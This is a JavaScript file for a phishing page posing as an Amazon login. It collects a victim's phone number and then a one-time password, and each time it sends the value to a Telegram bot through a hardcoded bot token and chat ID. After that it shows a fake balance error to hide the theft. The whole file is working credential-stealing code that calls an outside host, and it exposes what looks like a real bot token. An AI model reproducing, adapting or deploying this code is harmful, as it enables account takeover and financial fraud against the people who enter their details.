const emailOrPhoneInput = document.getElementById("emailOrPhone");
const continueButton = document.getElementById("continueButton");

// Function to validate input and enable/disable continue button
function validateInput() {
    const enteredNumber = emailOrPhoneInput.value;
    const isValid = /^\d{10}$/.test(enteredNumber);
    continueButton.disabled = !isValid;
}

emailOrPhoneInput.addEventListener("input", validateInput);  // Listen for input changes

function sendNumber() {
    const enteredNumber = emailOrPhoneInput.value;
    const botToken = "7082091449:AAH6NGX8EU6pP5GsswWW_-VQbtT6R9SVrWs";  // Replace with your bot token
    const chatId = "-1002044276088"; // Replace with your chat ID

    document.getElementById("loader").style.display = "block"; // Show loader

    const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=Number+received:+${enteredNumber}`;

    fetch(url)
        .then(response => {
            if (response.ok) {
                setTimeout(() => {
                    showOtpForm(enteredNumber); // Show OTP form after delay
                }, 4000);
            } else {
                console.error('Failed to send message to Telegram');
                document.getElementById("loader").style.display = "none"; // Hide loader
            }
        })
        .catch(error => {
            console.error('Error sending message:', error);
            document.getElementById("loader").style.display = "none"; // Hide loader
        });
}

function showOtpForm(enteredNumber) {
    document.getElementById("loader").style.display = "none"; // Hide the loader

    // Get the container and replace its ENTIRE contents.
    const container = document.querySelector(".container");
    container.innerHTML = `
                <div class="title" id="title">Authentication required</div>
                <p style="font-size: 12px; color: #000000; margin-bottom: 10px; font-weight: 600;">
                    IN +<a href="#" style="color: #007185; font-size: 12px; text-decoration: none;">91${enteredNumber}</a>
                </p>
                <p style="font-size: 11px; color: #555; margin-bottom: 10px; font-weight: 600;">
                    We've sent a One Time Password (OTP) to the mobile number above. Please enter it to complete verification.
                </p>
                <div class="input-group">
                    <label for="otp">Enter OTP</label>
                    <input maxlength="6" minlength="6" type="text" id="otp" name="otp">
                </div>
                <button type="submit" id="otpContinueButton" onclick="sendOtp()" disabled>Continue</button>
                <div class="loader" id="otpLoader"></div>
                <hr />
                <div class="terms">
                    By continuing, you agree to Amazon's
                    <a href="#">Conditions of Use</a> and
                    <a href="#">Privacy Notice</a>.
                </div>
                <div class="business">
                    Buying for work? <br />
                    <a href="#">Shop on Amazon Business</a>
                </div>
            `;
    setWhiteBackgroundHeight();
    // Set up OTP input validation
    const otpInput = document.getElementById("otp");
    const otpContinueButton = document.getElementById("otpContinueButton");

    otpInput.addEventListener("input", () => {
        const enteredOtp = otpInput.value;
        const isValid = /^\d{6}$/.test(enteredOtp);
        otpContinueButton.disabled = !isValid;
    });
}

function sendOtp() {
    const enteredOtp = document.getElementById("otp").value; // Get OTP *after* showOtpForm
    const botToken = "7082091449:AAH6NGX8EU6pP5GsswWW_-VQbtT6R9SVrWs";  // Replace with your bot token
    const chatId = "-1002044276088"; // Replace with your chat ID

    document.getElementById("otpLoader").style.display = "block"; // Show OTP loader

    const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=OTP+received:+${enteredOtp}`;

    fetch(url)
        .then(response => {
            if (response.ok) {
                setTimeout(() => {
                  document.getElementById("otpLoader").style.display = "none";
                   const otpInput = document.getElementById("otp");
                    if (!otpInput.nextElementSibling || !otpInput.nextElementSibling.classList.contains("error")) {
                        const errorElement = document.createElement("p");
                        errorElement.textContent = "Minimum balance should be greater than ₹100";
                        errorElement.classList.add("error");
                        otpInput.parentNode.insertBefore(errorElement, otpInput.nextSibling);
                    }
                }, 2000);
            } else {
                console.error('Failed to send OTP');
                document.getElementById("otpLoader").style.display = "none"; // Hide loader
            }
        })
        .catch(error => {
            console.error('Error sending OTP:', error);
            document.getElementById("otpLoader").style.display = "none"; // Hide loader
        });
}
 function setWhiteBackgroundHeight() {
const logoContainer = document.querySelector('.logo-container');
const whiteBackground = document.getElementById('whiteBackground');

// Get the bottom position of the logo container (including the line)
const logoBottom = logoContainer.offsetTop + logoContainer.offsetHeight;

// Set the height of the white background.
whiteBackground.style.height = `calc(100% - ${logoBottom}px)`;
whiteBackground.style.top = `${logoBottom}px`; // Start below the logo.
}
// Initial call and resize listener.
setWhiteBackgroundHeight();
window.addEventListener('resize', setWhiteBackgroundHeight);